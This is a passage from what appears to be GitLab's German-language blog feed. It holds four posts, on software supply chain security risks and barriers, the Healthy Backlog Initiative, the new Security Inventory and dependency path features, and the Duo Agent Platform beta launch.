<h3>KI-gestützte Angriffe: Ausgefeilter, skalierbarer</h3>
<p>Angreifer nutzen KI, um die Schwachstellenentdeckung zu automatisieren, überzeugende Social-Engineering-Angriffe gegen Entwickler zu generieren und öffentliche Codebasen systematisch auf Schwächen zu analysieren. Was früher manuelle Arbeit erforderte, lässt sich jetzt in großem Maßstab durchführen – mit Präzision.</p>
<h3>Die KI-Entwicklungs-Supply-Chain führt neue Risiken ein</h3>
<p>KI gestaltet den gesamten Entwicklungslebenszyklus neu, führt aber auch erhebliche Sicherheitslücken ein:</p>
<ul>
<li><strong>Modell-Supply-Chain-Angriffe:</strong> Vortrainierte Modelle von Quellen wie Hugging Face oder GitHub können Hintertüren oder vergiftete Trainingsdaten enthalten.</li>
<li><strong>Unsicherer KI-generierter Code:</strong> Entwickler(innen), die KI-Coding-Assistenten verwenden, könnten unwissentlich verwundbare Muster oder unsichere Abhängigkeiten einführen.</li>
<li><strong>Kompromittierte KI-Toolchains:</strong> Die Infrastruktur zum Trainieren, Bereitstellen und Verwalten von KI-Modellen schafft eine neue Angriffsoberfläche.</li>
<li><strong>Automatisierte Aufklärung:</strong> KI ermöglicht es Angreifern, ganze Ökosysteme zu scannen, um hochwertige Supply-Chain-Ziele zu identifizieren.</li>
<li><strong>Schatten-KI und nicht genehmigte Tools:</strong> Entwickler(innen) könnten externe KI-Tools integrieren, die nicht überprüft wurden.</li>
</ul>
<p>Das Ergebnis? KI führt nicht nur neue Schwachstellen ein, sie verstärkt auch das Ausmaß und die Auswirkungen bestehender Schwachstellen. Organisationen können sich nicht länger auf schrittweise Verbesserungen verlassen. Die Bedrohungslandschaft entwickelt sich schneller, als sich aktuelle Sicherheitspraktiken anpassen können.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200139/xuxezxld6ztlvjocgjlx.png" alt="KI-Verstärkungseffekt"></p>
<h2>Warum die meisten Organisationen immer noch kämpfen</h2>
<p>Selbst Organisationen, die Supply-Chain-Sicherheit verstehen, scheitern oft daran, effektiv zu handeln. Die Statistiken zeigen ein beunruhigendes Muster: Bewusstsein ohne entsprechende Verhaltensänderung.</p>
<p>Als <a href="https://www.cnn.com/2021/05/19/politics/colonial-pipeline-ransom/index.html">Colonial Pipeline 2021 Hackern 4,4 Millionen Dollar zahlte</a>, um den Betrieb wiederherzustellen, oder als 18.000 Organisationen dem SolarWinds-Angriff zum Opfer fielen, war die Botschaft klar: Supply-Chain-Schwachstellen können kritische Infrastruktur lahmlegen und sensible Daten in beispiellosem Ausmaß kompromittieren.</p>
<p>Dennoch machen die meisten Organisationen trotz dieses Bewusstseins weiter wie gewohnt. Die eigentliche Frage ist nicht, ob sich Organisationen um Supply-Chain-Sicherheit sorgen – sondern warum sich diese Sorge nicht in effektiven Schutz umsetzt.</p>
<p>Die Antwort liegt in vier kritischen Barrieren, die effektives Handeln verhindern:</p>
<p><strong>1. Die falsche Sparsamkeitsmentalität</strong></p>
<p>Organisationen konzentrieren sich manchmal auf die Kosten, anstatt zu fragen: &quot;Was ist der effektivste Ansatz?&quot; Dieses kostenorientierte Denken schafft teure Folgeprobleme.</p>
<p><strong>2. Die Realität des Fachkräftemangels</strong></p>
<p>Mit <a href="https://codific.com/bsimm-building-security-in-maturity-model-a-complete-guide/">durchschnittlich 4 Sicherheitsfachleuten pro 100 Entwickler(innen)</a> laut BSIMM-Forschung und <a href="https://www.isc2.org/Insights/2024/09/Employers-Must-Act-Cybersecurity-Workforce-Growth-Stalls-as-Skills-Gaps-Widen">90% der Organisationen, die kritische Cybersicherheits-Qualifikationslücken melden</a> laut ISC2, sind traditionelle Ansätze mathematisch unmöglich zu skalieren.</p>
<p><strong>3. Fehlausgerichtete organisatorische Anreize</strong></p>
<p>Entwickler-OKRs konzentrieren sich auf Feature-Geschwindigkeit, während Sicherheitsteams andere Ergebnisse messen. Wenn die Prioritäten der Geschäftsleitung die Markteinführungsgeschwindigkeit über die Sicherheitslage stellen, wird Reibung unvermeidlich.</p>
<p><strong>4. Tool-Komplexitätsüberlastung</strong></p>
<p>Das <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-03-gartner-identifiesthe-top-cybersecurity-trends-for-2025">durchschnittliche Unternehmen nutzt 45 Cybersicherheitstools</a>, wobei <a href="https://www.ponemon.org/news-updates/blog/security/new-ponemon-study-on-malware-detection-prevention-released.html">40% der Sicherheitswarnungen Fehlalarme sind</a> und muss <a href="https://newsroom.ibm.com/2020-06-30-IBM-Study-Security-Response-Planning-on-the-Rise-But-Containing-Attacks-Remains-an-Issue">durchschnittlich 19 Tools für jeden Vorfall koordinieren</a>.</p>
<p>Diese Barrieren schaffen einen Teufelskreis: Organisationen erkennen die Bedrohung, investieren in Sicherheitslösungen, setzen sie aber so um, dass sie nicht die gewünschten Ergebnisse erzielen.</p>
<h2>Der wahre Preis der Supply-Chain-Unsicherheit</h2>
<p>Supply-Chain-Angriffe schaffen Risiken und Kosten, die weit über die anfängliche Behebung hinausgehen. Das Verständnis dieser versteckten Multiplikatoren hilft zu erklären, warum Prävention nicht nur vorzuziehen ist – sie ist essentiell für die Geschäftskontinuität.</p>
<p><strong>Zeit wird zum Feind</strong></p>
<ul>
<li>Durchschnittliche Zeit zur Identifizierung und Eindämmung einer Supply-Chain-Verletzung: <a href="https://keepnetlabs.com/blog/171-cyber-security-statistics-2024-s-updated-trends-and-data">277 Tage</a></li>
<li>Zeitraum zum Wiederaufbau des Kundenvertrauens: <a href="https://www.bcg.com/publications/2024/rebuilding-corporate-trust">2-3+ Jahre</a></li>
<li>Entwicklungsstunden, die von der Produktentwicklung zur Sicherheitsbehebung umgeleitet werden</li>
</ul>
<p><strong>Reputationsschäden summieren sich</strong></p>
<p>Wenn Angreifer deine Supply Chain kompromittieren, stehlen sie nicht nur Daten – sie untergraben das Fundament des Kundenvertrauens. <a href="https://www.metacompliance.com/blog/data-breaches/5-damaging-consequences-of-a-data-breach">Kundenabwanderungsraten steigen typischerweise um 33% nach einem Verstoß</a>, während Partnerbeziehungen kostspielige Rezertifizierungsprozesse erfordern. Die Wettbewerbsposition leidet, da Interessenten Alternativen wählen, die als &quot;sicherer&quot; wahrgenommen werden.</p>
<p><strong>Die regulatorische Realität schlägt zu</strong></p>
<p>Die Regulierungslandschaft hat sich grundlegend verändert. <a href="https://www.skillcast.com/blog/20-biggest-gdpr-fines">DSGVO-Strafen betragen jetzt durchschnittlich über 50 Millionen Dollar für erhebliche Datenverstöße</a>. Der neue <a href="https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges/#european-cyber-resilience-act-(cra)">Cyber Resilience Act</a> der EU verlangt Supply-Chain-Transparenz. US-Bundesauftragnehmer müssen Software-Stücklisten (<a href="https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/">SBOMs</a>) für alle Softwarekäufe bereitstellen – eine Anforderung, die sich schnell auf die Beschaffung im privaten Sektor ausbreitet.</p>
<p><strong>Betriebsstörungen multiplizieren sich</strong></p>
<p>Über die direkten Kosten hinaus schaffen Supply-Chain-Angriffe betriebliches Chaos: Plattformausfälle während der Angriffsbehebung, Notfall-Sicherheitsaudits über ganze Technologie-Stacks und Rechtskosten aus Kundenklagen und behördlichen Untersuchungen.</p>
<h2>Was an aktuellen Ansätzen falsch ist</h2>
<p>Die meisten Organisationen verwechseln Sicherheitsaktivität mit Sicherheitswirkung. Sie setzen Scanner ein, generieren lange Berichte und jagen Teams durch manuelle Nachfassaktionen hinterher. Aber diese Bemühungen gehen oft nach hinten los – und schaffen mehr Probleme, als sie lösen.</p>
<h3>Massives Scannen vs. effektiver Schutz</h3>
<p>Unternehmen generieren über <a href="https://www.securityweek.com/enterprises-generate-10000-security-events-day-average-report/">10.000 Sicherheitswarnungen pro Monat, wobei die aktivsten etwa 150.000 Ereignisse pro Tag generieren.</a> <a href="https://panther.com/blog/identifying-and-mitigating-false-positive-alerts">Aber 63%</a> davon sind Fehlalarme oder unwichtiges Rauschen. Sicherheitsteams sind überfordert und werden zu Engpässen statt zu Befähigern.</p>
<h3>Der Zusammenbruch der Zusammenarbeit</h3>
<p>Die sichersten Organisationen haben nicht die meisten Tools; sie haben die stärkste DevSecOps-Zusammenarbeit. Aber die meisten aktuellen Setups machen dies schwieriger, indem sie Workflows über inkompatible Tools aufteilen, Entwicklern keine Sicherheitsergebnisse in ihrer Umgebung zeigen und keine gemeinsame Sichtbarkeit auf Risiko und geschäftliche Auswirkungen bieten.</p>
<h2>Der Weg nach vorn</h2>
<p>Das Verständnis dieser Herausforderungen ist der erste Schritt zum Aufbau effektiver Supply-Chain-Sicherheit. Die Organisationen, die erfolgreich sind, fügen nicht nur mehr Sicherheitstools hinzu, sie überdenken grundlegend, wie Sicherheit in Entwicklungsworkflows integriert wird. Sie überprüfen auch End-to-End-Software-Lieferworkflows, um Prozesse zu vereinfachen, Tools zu reduzieren und die Zusammenarbeit zu verbessern.</p>
<p>Bei GitLab haben wir gesehen, wie integrierte DevSecOps-Plattformen diese Herausforderungen angehen können, indem sie Sicherheit direkt in den Entwicklungsworkflow bringen. In unserem nächsten Artikel dieser Serie werden wir untersuchen, wie führende Organisationen ihren Ansatz zur Supply-Chain-Sicherheit durch entwicklerfreundliche Lösungen, KI-gestützte Automatisierung und Plattformen transformieren, die Sicherheit zu einem natürlichen Teil der Entwicklung großartiger Software machen.</p>
<blockquote>
<p>Erfahre mehr über <a href="https://about.gitlab.com/de-de/solutions/supply-chain/">GitLabs Software Supply Chain Security-Funktionen</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Itzik Gan Baruch</name>
            <uri>https://about.gitlab.com/blog/authors/itzik-gan baruch</uri>
        </author>
        <published>2025-07-24T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Hinter den Kulissen von GitLabs Healthy Backlog Initiative]]></title>
        <id>https://about.gitlab.com/de-de/blog/inside-gitlabs-healthy-backlog-initiative/</id>
        <link href="https://about.gitlab.com/de-de/blog/inside-gitlabs-healthy-backlog-initiative/"/>
        <updated>2025-07-23T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Bei GitLab pflegen wir eine starke Partnerschaft mit unserer Community und ermutigen jeden zur aktiven Mitarbeit. Diese Beiträge haben die GitLab-Plattform über Jahre hinweg gestärkt. Doch mit unserem Wachstum stieg auch die Anzahl der Community-Issues - bis hin zu einem schwer handhabbaren Backlog von über 65.000 Einträgen.</p>
<p>Die Produkt- und Engineering-Teams von GitLab haben kürzlich die <a href="https://gitlab.com/groups/gitlab-org/-/epics/18639">Healthy Backlog Initiative</a> gestartet, um dieses Backlog anzugehen und unseren Ansatz für die Verwaltung beigetragener Issues in Zukunft zu verfeinern.</p>
<p>Issues mit laufendem Community-Engagement, aktueller Aktivität oder klarer strategischer Ausrichtung bleiben offen. Wir werden Issues schließen, die nicht mehr relevant sind, kein Community-Interesse haben oder nicht mehr zu unserer aktuellen Produktausrichtung passen.</p>
<p>Dieser Fokus wird zu mehr Innovation, besserer Erwartungshaltung und schnelleren Entwicklungs- und Bereitstellungszyklen von der Community beigetragenen Funktionen führen.</p>
<h2>Die Healthy Backlog Initiative: 65.000 Issues strategisch reduzieren</h2>
<p>Im Laufe der Zeit hat die GitLab-Community zahlreiche Issues eingereicht, darunter Bugs, Feature-Anfragen und Feedback-Elemente. Derzeit enthält der zentrale <a href="https://gitlab.com/gitlab-org/gitlab/-/issues">GitLab-Issue-Tracker</a> über 65.000 Issues, von denen einige heute nicht mehr relevant sind, andere hingegen schon.</p>
<p>Unsere Healthy Backlog Initiative wird das Backlog bereinigen und einen Arbeitsstrom für unsere Produkt- und Engineering-Teams etablieren, um einen fokussierteren Ansatz zur Backlog-Verwaltung umzusetzen. Sie werden wöchentliche Bewertungen des Backlogs durchführen, um sicherzustellen, dass wir Issues priorisieren, die mit unserer Produktstrategie und Roadmap übereinstimmen.</p>
<p><strong>Hinweis:</strong> Wenn du der Meinung bist, dass ein geschlossenes Issue mit GitLabs Produktstrategie und Roadmap übereinstimmt, oder wenn du aktiv an der Anfrage arbeitest, ermutigen wir dich, das Issue mit aktualisiertem Kontext und aktuellen Details zu kommentieren. Wir verpflichten uns, diese aktualisierten Issues im Rahmen unserer regelmäßigen Bewertungen zu überprüfen.</p>
<h2>Die Vorteile: Fokussierte Entwicklung und klarere Roadmaps</h2>
<p>Dieser optimierte Ansatz bedeutet direkte, greifbare Verbesserungen für alle GitLab-Nutzer:</p>
<ul>
<li><strong>Schärferer Fokus und schnellere Bereitstellung:</strong> Durch die Eingrenzung unseres Backlogs auf strategisch ausgerichtete Funktionen können wir Entwicklungskapazitäten gezielter nutzen. Das bedeutet, dass du kürzere Entwicklungszyklen und spürbare Verbesserungen in GitLab erwarten kannst.</li>
<li><strong>Klarere Erwartungen:</strong> Wir verpflichten uns zu transparenter Kommunikation darüber, was auf unserer Roadmap steht und was nicht, damit du fundierte Entscheidungen über deine Workflows treffen kannst.</li>
<li><strong>Beschleunigte Feedback-Schleifen:</strong> Mit einem sauberen Backlog werden neue Feedbacks und Feature-Anfragen effizienter überprüft und priorisiert. Das verkürzt die Triage-Zeit und stellt sicher, dass zeitkritische Issues die notwendige Aufmerksamkeit erhalten. Dies schafft schnelleres Feedback für alle.</li>
</ul>
<p>Diese Initiative mindert nicht die Bedeutung von Community-Feedback und -Beiträgen. Wir ergreifen diese Maßnahme, um Klarheit darüber zu schaffen, was GitLab-Teammitglieder realistisch liefern können, und um sicherzustellen, dass alle Rückmeldungen angemessen berücksichtigt werden.</p>
<h2>GitLabs Commitment: Transparente Prioritäten für die Community</h2>
<p>Die GitLab Healthy Backlog Initiative spiegelt unseren Anspruch wider, transparente und effektive Verwalter der GitLab-Plattform zu sein. Indem wir unsere Prioritäten klar kommunizieren und unsere Bemühungen auf das konzentrieren, was wir realistisch im nächsten Jahr erreichen können, sind wir besser positioniert, deine Erwartungen zu erfüllen und zu übertreffen.</p>
<p>Deine kontinuierliche Teilnahme und dein Feedback helfen dabei, GitLab stärker zu machen. Jeder Kommentar, jede Merge Request, jeder Bug-Report und jeder Feature-Vorschlag trägt zu unserer gemeinsamen Vision bei. Und wir belohnen dich auch weiterhin dafür, mit Initiativen wie unserem monatlichen Notable Contributor-Programm, Swag-Belohnungen für Level-Ups, Hackathon-Gewinnern und mehr, alles verfügbar über unser <a href="https://contributors.gitlab.com">Contributor-Portal</a>.</p>
<blockquote>
<p>Um mehr darüber zu erfahren, wie du zu GitLab beitragen kannst, <a href="https://about.gitlab.com/community/">besuche unsere Community-Seite</a>. Um Feedback zu diesem Projekt zu teilen, füge bitte deine Kommentare zum <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/556865">Feedback-Issue</a> in diesem <a href="https://gitlab.com/groups/gitlab-org/-/epics/18639">Epic</a> hinzu.</p>
</blockquote>
]]></content>
        <author>
            <name>Stan Hu</name>
            <uri>https://about.gitlab.com/blog/authors/stan-hu</uri>
        </author>
        <published>2025-07-23T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Die Sichtbarkeitslücke in der Software Supply Chain Security schließen]]></title>
        <id>https://about.gitlab.com/de-de/blog/bridging-the-visibility-gap-in-software-supply-chain-security/</id>
        <link href="https://about.gitlab.com/de-de/blog/bridging-the-visibility-gap-in-software-supply-chain-security/"/>
        <updated>2025-07-21T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Unser neuestes Release, <a href="https://about.gitlab.com/de-de/releases/2025/07/17/gitlab-18-2-released/">GitLab 18.2</a>, führt zwei neue Funktionen zur Verbesserung der Software Supply Chain Security ein: Security Inventory und Dependency Path-Visualisierung.
Security Inventory bietet Application Security Teams eine zentrale, portfolioweite Übersicht über Risiken und Scan-Abdeckung über alle GitLab-Gruppen und -Projekte hinweg. So können sie blinde Flecken identifizieren und Maßnahmen zur Risikominderung priorisieren. Die Dependency Path-Visualisierung zeigt Entwickler(inne)n klar auf, wie Open-Source-Schwachstellen durch die Abhängigkeitskette eingeführt werden, was es einfacher macht, die richtige Lösung zu finden.
Gemeinsam helfen diese Funktionen Sicherheits- und Entwicklungsteams dabei, sicherere Anwendungen zu erstellen, indem sie Transparenz darüber schaffen, wo Risiken bestehen, Kontext zur Behebung liefern und Workflows bereitstellen, die die Zusammenarbeit unterstützen. Im Gegensatz zu anderen Lösungen geschieht all das in derselben Plattform, die Entwickler(innen) zum Erstellen, Überprüfen und Bereitstellen von Software verwenden – ohne den zusätzlichen Integrationsaufwand.</p>
<h2>Open Source erweitert die Angriffsfläche</h2>
<p>Moderne Anwendungen verlassen sich <a href="https://about.gitlab.com/de-de/developer-survey/">stark</a> auf Open-Source-Software. Open Source bringt jedoch ein erhebliches Sicherheitsrisiko mit sich – Komponenten können veraltet, nicht mehr gewartet oder unwissentlich anfällig sein. Deshalb ist die Software Composition Analysis (SCA) zu einem Eckpfeiler moderner AppSec-Programme geworden.
Eine zentrale Herausforderung im Schwachstellen-Management ist die effektive Verwaltung des <em>Risikos transitiver Abhängigkeiten</em>. Diese Komponenten sind oft tief in der Abhängigkeitskette vergraben. Daher ist es schwierig nachzuvollziehen, wie eine Schwachstelle eingeführt wurde. Ebenso schwer ist es zu bestimmen, was aktualisiert werden muss. Noch schlimmer: Sie machen fast <a href="https://arxiv.org/abs/2503.22134?">zwei Drittel</a> der bekannten Open-Source-Schwachstellen aus. Ohne klare Sicht auf den gesamten Abhängigkeitspfad sind Teams auf Vermutungen angewiesen, was die Behebung verzögert und das Risiko erhöht.</p>
<blockquote>
<p>Transitive Abhängigkeiten sind Pakete, die deine Anwendung indirekt verwendet. Sie werden automatisch von den direkten Abhängigkeiten eingezogen, die du explizit einbindest. Diese verschachtelten Abhängigkeiten können Schwachstellen einführen, ohne dass der/die Entwickler(in) jemals weiß, dass sie im Projekt vorhanden sind.
Diese Herausforderung wird exponentiell schwieriger bei großem Umfang. Sicherheitsteams verwalten oft Hunderte oder Tausende von Repositories. Jedes Repository hat eigene Abhängigkeiten, Build-Pipelines und Verantwortliche. In diesem Umfang wird selbst die Beantwortung grundlegender Sicherheitsfragen zur Herausforderung. Und in einer Zeit wachsender Software Supply Chain-Bedrohungen, in der sich Schwachstellen über geteilte Bibliotheken und CI/CD-Konfigurationen systemübergreifend ausbreiten können, haben diese blinden Flecken noch gravierendere Folgen.</p>
</blockquote>
<h2>Security Inventory: Skalierbare Transparenz</h2>
<p>Security Inventory konsolidiert Risikoinformationen aller Gruppen und Projekte in einer einheitlichen Ansicht. Es zeigt auf, welche Assets durch Sicherheitsscans abgedeckt sind und welche nicht. Anstatt Probleme isoliert zu verwalten, können Sicherheitsteams die Lage ganzheitlich bewerten. So identifizieren sie schnell, wo sie ihre Bemühungen fokussieren sollten.
Diese zentrale Übersicht ist besonders wichtig für Organisationen mit vielen Repositories. Plattform- und AppSec-Teams verstehen sofort, wo Risiken existieren. Das System hebt ungescannte oder unzureichend geschützte Projekte hervor.
Außerdem können Teams direkt aus der Oberfläche heraus handeln und über das bloße Bewusstsein hinausgehen. Mit vollem Kontext verstehen sie, welche Anwendungen das größte Risiko darstellen. Security Inventory wandelt fragmentierte Einblicke in eine zentrale Informationsquelle um. So können Organisationen von reaktiver Problem-Triage zu strategischer, datengesteuerter Sicherheits-Governance wechseln.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101068/qhujktnbkhl2rzgqfead.png" alt="Security Inventory-Anzeige">
Erfahre mehr, indem du dir Security Inventory in Aktion ansiehst:</p>
<p>&lt;!-- blank line --&gt; &lt;figure class=&quot;video_container&quot;&gt; &lt;iframe src=&quot;https://www.youtube.com/embed/yqo6aJLS9Fw?si=CtYmsF-PLN1UKt83&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt; &lt;/figure&gt; &lt;!-- blank line --&gt;</p>
<h2>Dependency Path-Visualisierung: Klarheit für effektive Behebung</h2>
<p>Security Inventory zeigt auf hoher Ebene, wo die Risiken liegen; die Dependency Path-Visualisierung zeigt, wie man sie behebt.
Wenn eine Schwachstelle tief in einer Abhängigkeitskette entdeckt wird, kann die Identifizierung der richtigen Lösung kompliziert sein. Die meisten Sicherheitstools heben das betroffene Paket hervor, erklären aber nicht, wie es in die Codebasis gelangt ist. Entwickler(innen) müssen raten, welche Abhängigkeiten direkt eingeführt werden und welche transitiv eingezogen werden, was es schwierig macht zu bestimmen, wo eine Änderung erforderlich ist – oder schlimmer noch: Patches anzuwenden, die die Grundursache nicht beheben.
Unsere neue Dependency Path-Visualisierung zeigt nach einem SCA-Scan den vollständigen Weg auf: vom Top-Level-Paket zur anfälligen Komponente. Diese wird manchmal auch als Abhängigkeitsgraph bezeichnet. Diese Klarheit ist unerlässlich. Denn tief eingebettete Schwachstellen sind in Abhängigkeitsketten weit verbreitet. Die Funktion ist direkt in den GitLab-Workflow integriert. Dadurch erhalten Entwickler(innen) umsetzbare Einblicke ohne Kontextwechsel oder Rätselraten. Sicherheitsteams können Probleme effektiver priorisieren. Gleichzeitig haben Entwickler(innen) die Gewissheit, dass ihre Behebungen die Grundursachen angehen.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101069/kf5ym62gylm5ck6iebjk.png" alt="Dependency Path-Visualisierung"></p>
<h2>Entwicklerorientierte Sicherheit: Risiken strategisch mindern</h2>
<p>Diese Funktionen sind Teil von GitLabs umfassenderer Strategie: Sicherheit innerhalb derselben Plattform bereitzustellen, in der Code geplant, erstellt und bereitgestellt wird. GitLab bettet Sicherheitseinblicke direkt in den DevSecOps-Workflow ein. Das reduziert Reibung und fördert die Zusammenarbeit zwischen Entwicklungs- und Sicherheitsteams.
Security Inventory und Dependency Path-Visualisierung bieten komplementäre Perspektiven: Security Inventory ermöglicht skalierungsbewusste Überwachung, Dependency Path unterstützt präzise Korrekturen. Diese Kombination hilft Teams, das Wichtigste zu priorisieren und Lücken zu schließen. Und das ohne neue Tools oder komplexe Integrationen.</p>
<blockquote>
<p>Starte noch heute mit Security Inventory und Dependency Path-Visualisierung! Melde dich für eine <a href="https://about.gitlab.com/de-de/free-trial/">kostenlose Testversion von GitLab Ultimate</a> an.</p>
</blockquote>
<h2>Weiterlesen</h2>
<ul>
<li><a href="https://about.gitlab.com/de-de/releases/2025/07/17/gitlab-18-2-released/">GitLab 18.2 veröffentlicht</a></li>
<li><a href="https://about.gitlab.com/de-de/solutions/security-compliance/">GitLab-Sicherheitslösungen</a></li>
<li><a href="https://about.gitlab.com/de-de/the-source/security/field-guide-to-threat-vectors-in-the-software-supply-chain/">Ein Leitfaden zu Bedrohungsvektoren in der Software Supply Chain</a></li>
</ul>
]]></content>
        <author>
            <name>Salman Ladha</name>
            <uri>https://about.gitlab.com/blog/authors/salman-ladha</uri>
        </author>
        <published>2025-07-21T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Duo Agent Platform jetzt in Public Beta: KI-Orchestrierung der nächsten Generation]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/"/>
        <updated>2025-07-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><strong>Das ist die Zukunft der Software-Entwicklung.</strong></p>
<p>Bei GitLab <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/">gestalten wir die Zukunft der Software-Entwicklung neu</a> als Zusammenarbeit zwischen Menschen und KI. Entwickler(innen) konzentrieren sich auf die Lösung technischer, komplexer Probleme und treiben Innovationen voran, während KI-Agenten die routinemäßigen, sich wiederholenden Aufgaben übernehmen, die den Fortschritt verlangsamen. Entwickler(innen) sind frei, neue Ideen im Code zu deutlich geringeren Kosten zu erkunden, Bug-Backlogs gehören der Vergangenheit an, und die Nutzer(innen) der von dir erstellten Software genießen eine benutzerfreundlichere, zuverlässigere und sicherere Erfahrung. Das ist kein ferner Traum. Wir bauen diese Realität schon heute. Sie heißt GitLab Duo Agent Platform.</p>
<h2>Was ist GitLab Duo Agent Platform?</h2>
<p>GitLab Duo Agent Platform ist unsere DevSecOps-Orchestrierungsplattform der nächsten Generation, welche entwickelt wurde, um die asynchrone Zusammenarbeit zwischen Entwickler(innen) und KI-Agenten zu ermöglichen. Sie wird deinen Entwicklungsworkflow von isolierten linearen Prozessen in eine dynamische Zusammenarbeit verwandeln, bei der spezialisierte KI-Agenten in jeder Phase des Software-Entwicklungslebenszyklus an deiner Seite und mit deinem Team arbeiten. Es wird so sein, als hättest du ein unbegrenztes Team von Kolleg(inn)en zur Verfügung.</p>
<p>Stell dir vor, du delegierst eine komplexe Refaktorierungsaufgabe an einen Software-Entwickler-Agenten, während gleichzeitig ein Sicherheitsanalyse-Agent nach Schwachstellen sucht und ein Deep-Research-Agent den Fortschritt über deine Repository-Historie hinweg analysiert. All dies geschieht parallel, nahtlos orchestriert innerhalb von GitLab.</p>
<p>Heute kündigen wir die Einführung der <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">ersten Public Beta von GitLab Duo Agent Platform</a> für GitLab.com und selbstverwaltete GitLab Premium- und Ultimate-Kund(inn)en an. Dies ist nur die erste einer Reihe von Updates, die verbessern werden, wie Software geplant, erstellt, verifiziert und bereitgestellt wird, während wir menschlichen Einfallsreichtum durch intelligente Automatisierung verstärken.</p>
<p>Diese erste Beta konzentriert sich auf die Freischaltung der IDE-Erfahrung über die GitLab VS Code-Erweiterung und das JetBrains IDEs-Plugin; nächsten Monat planen wir, die Duo Agent Platform-Erfahrung in die GitLab-Anwendung zu bringen und unsere IDE-Unterstützung zu erweitern.</p>
<p>Lass mich ein wenig mehr über unsere Vision für die Roadmap von heute bis zur allgemeinen Verfügbarkeit, die für später in diesem Jahr geplant ist, berichten. Details zur ersten Beta findest du unten.</p>
<p>Schau dir dieses Video an oder lies weiter, um zu erfahren, was jetzt verfügbar ist und was demnächst kommen wird. Wenn du dann bereit bist, mit Duo Agent Platform zu arbeiten, <a href="#get-started-now">erfährst du hier, wie das mit der Public Beta geht</a>.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101993507?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;GitLab Agent Platform Beta Launch_071625_MP_v2&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>GitLabs einzigartige Position als Orchestrierungsplattform</h2>
<p>GitLab steht im Mittelpunkt des Entwicklungslebenszyklus als System of Record für Engineering-Teams und orchestriert die gesamte Reise vom Konzept zur Produktion für über 50 Millionen registrierte Nutzer(innen), einschließlich der Hälfte der Fortune 500 über alle Geografien hinweg. Dies umfasst über 10.000 zahlende Kund(inn)en in allen Segmenten und Branchen, einschließlich öffentlicher Institutionen.</p>
<p>Dies gibt GitLab etwas, was kein Wettbewerber bieten kann: ein umfassendes Verständnis von allem, was es braucht, um Software zu liefern. Wir bringen deine Projektpläne, Code, Testläufe, Sicherheitsscans, Compliance-Prüfungen und CI/CD-Konfigurationen zusammen, um nicht nur dein Team zu unterstützen, sondern auch die Zusammenarbeit mit KI-Agenten zu orchestrieren, die du kontrollierst.</p>
<p>Als intelligente, einheitliche DevSecOps-Plattform speichert GitLab den gesamten Kontext deiner Software-Engineering-Praxis an einem Ort. Wir werden diese einheitlichen Daten über unseren Knowledge Graph KI-Agenten zugänglich machen. Jeder Agent, den wir erstellen, hat automatischen Zugriff auf diesen SDLC-verbundenen Datensatz und bietet einen reichhaltigen Kontext, sodass Agenten fundierte Empfehlungen abgeben und Maßnahmen ergreifen können, die deinen organisatorischen Standards entsprechen.</p>
<p><strong>Hier ist ein Beispiel für diesen Vorteil in Aktion.</strong> Hast du jemals versucht herauszufinden, wie genau ein Projekt über Dutzende, wenn nicht Hunderte von Stories und Issues verläuft, die von allen beteiligten Entwickler(inne)n bearbeitet werden? Unser Deep Research Agent nutzt den GitLab Knowledge Graph und semantische Suchfunktionen, um dein Epic und alle damit verbundenen Issues zu durchsuchen, die zugehörige Codebasis und den umgebenden Kontext zu erkunden. Er korreliert schnell Informationen über deine Repositories, Merge Requests und Deployment-Historie hinweg. Dies liefert kritische Einblicke, die eigenständige Tools nicht bieten können und die menschliche Entwickler(innen) Stunden kosten würden, um sie zu entdecken.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101998114?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Deep Research Demo_071625_MP_v1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>Unsere strategische Entwicklung von KI-Features zur Agenten-Orchestrierung</h2>
